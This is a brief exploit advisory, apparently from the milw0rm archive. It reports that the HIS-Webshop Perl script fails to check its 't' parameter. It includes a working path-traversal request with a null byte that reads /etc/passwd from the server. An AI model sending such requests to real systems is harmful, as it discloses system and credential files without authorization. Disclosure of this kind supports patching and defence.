HIS-Webshop - 'his-webshop.pl t' Remote File Disclosure

HIS-Webshop is a shopping-system written in Perl by www.shoppark.de The script doesn´t check the "t"-parameter. Example: http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00 milw0rm.com 2008-03-24...